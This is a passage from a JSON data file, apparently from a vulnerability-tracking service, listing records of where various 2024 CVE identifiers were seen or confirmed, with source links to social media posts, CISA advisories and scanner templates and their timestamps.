"https://bsky.app/profile/eyalestrin.bsky.social/post/3lee5xgw2pa2r", "content": "", "creation_timestamp": "2024-12-28T09:12:35.144223Z"}, {"uuid": "7e435ebf-23b2-47ad-8f68-02668cda2d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113730104225786101", "content": "", "creation_timestamp": "2024-12-28T11:01:12.354535Z"}, {"uuid": "d6c224b9-5fb8-4d5c-bbfc-cdadcc96a2c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3leewonbz2k2l", "content": "", "creation_timestamp": "2024-12-28T16:35:06.440342Z"}, {"uuid": "093afd38-b703-46a2-b5ff-07943e69b565", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/paloaltonetworks.bsky.social/post/3lefowsxfjc2p", "content": "", "creation_timestamp": "2024-12-28T23:49:06.902790Z"}, {"uuid": "fe89a21b-7d9d-49d0-9011-cd92f1d37af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3legqbdcjkt2y", "content": "", "creation_timestamp": "2024-12-29T09:45:33.374272Z"}, {"uuid": "d6e68531-66f5-4268-84c6-7159a5787228", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-33112", "type": "seen", "source": "https://bsky.app/profile/kyosuke-tanaka.bsky.social/post/3legqm4hhq22b", "content": "", "creation_timestamp": "2024-12-29T09:51:35.897293Z"}, {"uuid": "422c71c1-b2a9-4f10-b4ad-11bbd26bb68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/113736165144569263", "content": "", "creation_timestamp": "2024-12-29T12:42:36.358759Z"}, {"uuid": "5bed1076-5bc5-4b35-a18a-ed51b8206386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113742517337722611", "content": "", "creation_timestamp": "2024-12-30T15:38:00.233099Z"}, {"uuid": "f9be5985-45bb-40fc-a0c1-af187c4e01c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2995868", "content": "", "creation_timestamp": "2024-12-30T15:54:14.364523Z"}, {"uuid": "e227f6e8-8cf6-4a0a-9e1f-d94a6af47ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-3393", "type": "seen", "source": "https://www.linkedin.com/posts/nielshoekman_this-flaw-allows-unauthenticated-attackers-activity-7278677306896744448-KgeN/", "content": "", "creation_timestamp": "2024-12-30T16:20:40.052694Z"}, {"uuid": "ee2ab61c-6a61-4919-9121-0fa7b0f52ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-12-30T18:10:02.000000Z"}, {"uuid": "f19fd000-c8a8-45e8-82e0-a5aa72443f41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3leq5ss3muk2i", "content": "", "creation_timestamp": "2025-01-02T03:41:55.958881Z"}, {"uuid": "7864393a-6223-421f-b2a6-8df2b34a48df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://social.cologne/users/pterlisten/statuses/113758364228934822", "content": "", "creation_timestamp": "2025-01-02T10:48:05.190162Z"}, {"uuid": "282d9dba-3c4c-4276-a9b8-36578b96a2ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/pterlisten.bsky.social/post/3leqvn6vguf2j", "content": "", "creation_timestamp": "2025-01-02T10:48:17.261577Z"}, {"uuid": "f03589c5-1977-486e-aa49-10b73ba0eae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33112", "type": "seen", "source": "https://bsky.app/profile/gothburz.bsky.social/post/3lexfqdmxkf2g", "content": "", "creation_timestamp": "2025-01-05T00:52:21.280057Z"}, {"uuid": "2c651608-c3ad-4602-ac0f-19229f49ebd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3leye3o374g2v", "content": "", "creation_timestamp": "2025-01-05T09:55:33.618823Z"}, {"uuid": "5bad557b-160f-4ffa-a487-9590f8eb5aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lf2bmjehkc2i", "content": "", "creation_timestamp": "2025-01-06T04:16:41.834524Z"}, {"uuid": "511682c2-0510-45a8-b2e3-478cf2b1ed16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33041", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113780989502102165", "content": "", "creation_timestamp": "2025-01-06T10:41:58.601442Z"}, {"uuid": "1a0dcde5-883a-42bf-9c28-404781ae9112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33055", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113780989515910688", "content": "", "creation_timestamp": "2025-01-06T10:41:58.928156Z"}, {"uuid": "a0829f35-1f56-4f05-8292-723a85aaff9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33059", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113781048518027362", "content": "", "creation_timestamp": "2025-01-06T10:56:59.116473Z"}, {"uuid": "ebb72fad-0b11-495d-ab1f-095fdc93d06b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33061", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113781048533736168", "content": "", "creation_timestamp": "2025-01-06T10:56:59.528351Z"}, {"uuid": "4354c3b1-f91e-4765-9652-862b88767302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33067", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113781048549757462", "content": "", "creation_timestamp": "2025-01-06T10:56:59.728532Z"}, {"uuid": "803d5cc6-6a1c-4985-8d95-1e1338565963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33041", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yznhzo32l", "content": "", "creation_timestamp": "2025-01-06T11:15:33.879645Z"}, {"uuid": "fec2373e-e9a2-4ff1-bee1-a7e0c535b4d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33055", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yzqo2qy2m", "content": "", "creation_timestamp": "2025-01-06T11:15:37.506926Z"}, {"uuid": "0b1750ba-32e8-4732-87a5-5426193bc764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33059", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yzt34nx2o", "content": "", "creation_timestamp": "2025-01-06T11:15:39.610355Z"}, {"uuid": "c1d84a12-4b9e-4abf-9c6a-4ed7e6ad0a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33059", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yzt34nx2o", "content": "", "creation_timestamp": "2025-01-06T11:15:39.620627Z"}, {"uuid": "14cffc02-2fab-4543-ac3d-13bfbc502ae0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33061", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yzvgwrf25", "content": "", "creation_timestamp": "2025-01-06T11:15:42.329536Z"}, {"uuid": "d935e8e5-091b-4634-bad9-3dae8e34d3d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33067", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf2yzxl2gy2m", "content": "", "creation_timestamp": "2025-01-06T11:15:44.420214Z"}, {"uuid": "5a294954-265b-4baa-a5f1-65b8beb39455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33059", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf32kwou6t2k", "content": "", "creation_timestamp": "2025-01-06T11:43:08.848584Z"}, {"uuid": "61b87904-f29f-404a-91f8-d19497c7f8c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33041", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf32kwvpza2q", "content": "", "creation_timestamp": "2025-01-06T11:43:09.951312Z"}, {"uuid": "8bcfeda3-9547-4514-aa53-0fddd16eb8de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33067", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf32kwz32y2e", "content": "", "creation_timestamp": "2025-01-06T11:43:10.491283Z"}, {"uuid": "869593ff-fd50-45d0-91f1-ea55bed28100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33502", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpguzhacu2p", "content": "", "creation_timestamp": "2025-01-14T14:16:45.679208Z"}, {"uuid": "36c3b39c-b242-4931-987e-c988d16d2c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33503", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfpgv3qe4n2h", "content": "", "creation_timestamp": "2025-01-14T14:16:48.198127Z"}, {"uuid": "770925a5-b8ec-46a5-8ee4-d2e74cb0a756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33298", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6oltr2o", "content": "", "creation_timestamp": "2025-01-20T21:02:12.422136Z"}, {"uuid": "cd795f62-9b3a-42e9-9b61-b8bd460cdfb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6sz3l2k", "content": "", "creation_timestamp": "2025-01-20T21:02:13.562476Z"}, {"uuid": "a93c73a2-dec1-4360-a6bd-f0f4bd441920", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33299", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6quwi2x", "content": "", "creation_timestamp": "2025-01-20T21:02:12.939982Z"}, {"uuid": "3ddd04c0-28e8-4206-8a9c-204bf81df708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33297", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6micp22", "content": "", "creation_timestamp": "2025-01-20T21:02:11.783198Z"}, {"uuid": "7efcdac9-8f18-4087-a752-0e2d0a0120f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lfyd4k2uf726", "content": "", "creation_timestamp": "2025-01-18T03:03:20.697908Z"}, {"uuid": "b9226805-2b60-481a-8400-f2fa62eca3f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://bsky.app/profile/ripjyr.bsky.social/post/3lgwipkhycm2q", "content": "", "creation_timestamp": "2025-01-30T03:03:19.628697Z"}, {"uuid": "67fd63c1-0856-4eb6-8563-9dd4ca2b91db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33659", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113985866233728590", "content": "", "creation_timestamp": "2025-02-11T15:04:49.557399Z"}, {"uuid": "0adc8fae-6951-49ed-a2da-e9ea97563f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33659", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhvxa3wq5n2s", "content": "", "creation_timestamp": "2025-02-11T15:15:39.134374Z"}, {"uuid": "d4262a69-b9a0-4d1f-80cb-c393558ee4b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33504", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113986167652495803", "content": "", "creation_timestamp": "2025-02-11T16:21:28.825311Z"}, {"uuid": "1fd5ea1c-5b1f-4a11-9ed3-450f7cd7b3e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33504", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhw5xvumyc2z", "content": "", "creation_timestamp": "2025-02-11T17:16:20.331764Z"}, {"uuid": "356db3a3-3c14-4467-a233-50259d3c9b00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33504", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113986497919466758", "content": "", "creation_timestamp": "2025-02-11T17:45:29.489103Z"}, {"uuid": "6ec8f7c1-fc6b-4d53-aae2-6a39ab5f01a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33469", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhws2kwrxm2a", "content": "", "creation_timestamp": "2025-02-11T23:15:44.389655Z"}, {"uuid": "a44d16a4-b108-4b3f-9505-88515254b2fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33469", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lhx4mjkiff2n", "content": "", "creation_timestamp": "2025-02-12T02:24:51.268470Z"}, {"uuid": "00f6ae93-ce2f-41f0-b90c-331f72e27c2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33501", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-8eaa21ec-de6847694340d6ba", "content": "", "creation_timestamp": "2025-03-14T07:37:36.232765Z"}, {"uuid": "66bcdc30-21f9-40b8-89d8-fd9072d2a892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113995677190948647", "content": "", "creation_timestamp": "2025-02-13T08:39:52.894489Z"}, {"uuid": "207e8480-17c1-455b-951b-8a00756490a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3li2e2crliq2h", "content": "", "creation_timestamp": "2025-02-13T09:15:42.737189Z"}, {"uuid": "015e50d3-4806-43d1-866a-d66d4fabd751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3303", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3li2i7ybtcc2p", "content": "", "creation_timestamp": "2025-02-13T10:30:31.780829Z"}, {"uuid": "9c41b1f1-7b68-4da1-9c58-bc5e830432fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33016", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-09", "content": "", "creation_timestamp": "2025-02-13T11:00:00.000000Z"}, {"uuid": "4e897464-7085-41db-90ff-f0366993709f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33698", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114143898401599829", "content": "", "creation_timestamp": "2025-03-11T12:54:29.776158Z"}, {"uuid": "6f28db70-ed05-4bd6-b815-9059484e0db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33939", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3likodq7unn2q", "content": "", "creation_timestamp": "2025-02-19T21:02:33.153900Z"}, {"uuid": "876aa1e4-cacf-403e-91c1-7574cba9327b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "971d9866-0e42-4a48-95f3-ccd91355bd30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3300", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-3300.yaml", "content": "", "creation_timestamp": "2025-04-08T15:02:26.000000Z"}, {"uuid": "d37d7bff-664f-4dd7-bf03-9fc3f5295afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lmgy7r5yip2u", "content": "", "creation_timestamp": "2025-04-10T07:29:25.298862Z"}, {"uuid": "6c852503-b462-4175-97b0-d1c2e3e83d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmkw4bmrtw27", "content": "", "creation_timestamp": "2025-04-11T21:02:19.852639Z"}, {"uuid": "1ba1ab8e-80db-493f-9824-d78266210077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114382653927306677", "content": "", "creation_timestamp": "2025-04-22T16:53:09.259150Z"}, {"uuid": "28b63988-1483-4116-a064-12d686b94123", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lngewe47di2h", "content": "", "creation_timestamp": "2025-04-22T19:09:22.503411Z"}, {"uuid": "0d6c1840-b275-4e29-a6de-4d1ede33d4b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33601", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "b67d18f8-e352-4a99-a332-f43701043ce4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33602", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "7d691d97-5590-44d6-ac64-6a3e959d4158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33600", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "ebca2641-76e5-46a9-900a-8c2ee99c621d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33599", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "a1908b9c-d41c-41fa-9b24-59880551ff27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3366", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/114794620052697504", "content": "", "creation_timestamp": "2025-07-04T11:01:33.280763Z"}, {"uuid": "e92d227b-e2b0-42cb-9df4-015a1bdabfe5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33559", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ls5h7ocisk2u", "content": "", "creation_timestamp": "2025-06-21T21:02:25.671003Z"}, {"uuid": "f1a45163-2b7e-486e-b73a-a60d3ab30522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33559", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lrjdiblcun27", "content": "", "creation_timestamp": "2025-06-13T21:02:19.540287Z"}, {"uuid": "c4668e4f-c1fe-4907-aa87-9c5a400da2c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33832", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-33832.yaml", "content": "", "creation_timestamp": "2025-07-17T11:51:46.000000Z"}, {"uuid": "63d5b5c6-500d-4d74-9b36-3ce9450f88b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33832", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lubdsqw3eh2q", "content": "", "creation_timestamp": "2025-07-18T21:02:27.835811Z"}, {"uuid": "594a82a9-f06b-43b7-aa79-d8db4e63b00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33326", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lztuw3klfp2n", "content": "", "creation_timestamp": "2025-09-27T21:02:30.564330Z"}, {"uuid": "1b4cc6c1-6c32-43fa-abf7-6f29abd0edda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3378", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-3378.yaml", "content": "", "creation_timestamp": "2025-09-16T20:55:49.000000Z"}, {"uuid": "bbdbe229-d664-4af2-aab6-b2eccc6681bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33599", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupievkd5t2y", "content": "", "creation_timestamp": "2025-07-24T12:01:27.917586Z"}, {"uuid": "21769138-9028-46d7-9767-0e875a95850b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33600", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupiewnbkm22", "content": "", "creation_timestamp": "2025-07-24T12:01:29.089933Z"}, {"uuid": "22a1eb9a-6e4d-4deb-9009-2dce47ce80a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33601", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupiex4bhk2x", "content": "", "creation_timestamp": "2025-07-24T12:01:29.935828Z"}, {"uuid": "efb35543-91de-4b61-b562-d04ec26de60e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33602", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupiexshv72a", "content": "", "creation_timestamp": "2025-07-24T12:01:30.830192Z"}, {"uuid": 